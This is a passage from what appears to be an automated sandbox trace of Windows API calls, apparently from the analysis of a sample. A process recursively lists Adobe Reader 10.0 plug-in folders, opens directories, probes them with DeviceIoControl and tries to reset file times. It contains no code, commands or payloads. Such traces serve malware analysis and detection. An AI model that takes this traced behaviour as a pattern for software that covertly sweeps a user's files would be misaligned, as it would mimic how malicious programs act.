hFindFile=0x2e8f80) returned 1 [0083.395] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 1 [0083.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.395] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.396] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0083.396] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0083.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12d0fc8 [0083.396] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12d0fc8, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x12d0fc8, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0083.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12d0fc8) returned 1 [0083.397] NtClose (Handle=0x174) returned 0x0 [0083.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a35d0 [0083.398] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0083.399] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.399] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18b15, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.400] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.400] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a36d8 [0083.400] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215de0 [0083.401] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12aae78 [0083.401] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.401] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0083.401] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.401] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.401] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.402] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215e00 [0083.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12aaf80 [0083.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.403] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0083.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215e20 [0083.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ab088 [0083.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.404] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb189, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.405] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.405] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215e40 [0083.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ab190 [0083.406] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.406] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0083.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.406] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215e60 [0083.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ab298 [0083.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.408] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x58891, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215e80 [0083.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ab3a0 [0083.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.409] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x58891, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.409] GetLastError () returned 0x12 [0083.409] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e91c0 [0083.409] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0083.409] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.410] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18b15, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.410] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0083.410] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0083.410] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb189, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.410] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0083.410] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x58891, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.410] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x58891, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.410] GetLastError () returned 0x12 [0083.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a35d0) returned 1 [0083.410] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a36d8) returned 1 [0083.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.411] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe69f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x0, cFileName="Words.pdf", cAlternateFileName="")) returned 1 [0083.411] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe69f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x0, cFileName="Words.pdf", cAlternateFileName="")) returned 0 [0083.411] GetLastError () returned 0x12 [0083.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2fa0) returned 1 [0083.411] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0083.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2e98) returned 1 [0083.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2d90) returned 1 [0083.412] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 0 [0083.412] GetLastError () returned 0x12 [0083.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2b80) returned 1 [0083.412] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0083.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2a78) returned 1 [0083.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2970) returned 1 [0083.413] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5dbe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.api", cAlternateFileName="")) returned 1 [0083.413] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd2463, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.api", cAlternateFileName="")) returned 1 [0083.413] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15de63, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.api", cAlternateFileName="")) returned 1 [0083.413] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x24a63, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.api", cAlternateFileName="")) returned 1 [0083.413] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd063, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.api", cAlternateFileName="")) returned 1 [0083.413] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e2b880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1ab863, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.api", cAlternateFileName="")) returned 1 [0083.413] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18463, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.api", cAlternateFileName="")) returned 1 [0083.413] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x234a63, dwReserved0=0x0, dwReserved1=0x0, cFileName="MakeAccessible.api", cAlternateFileName="")) returned 1 [0083.413] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia", cAlternateFileName="")) returned 1 [0083.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2970 [0083.413] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.414] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia"), 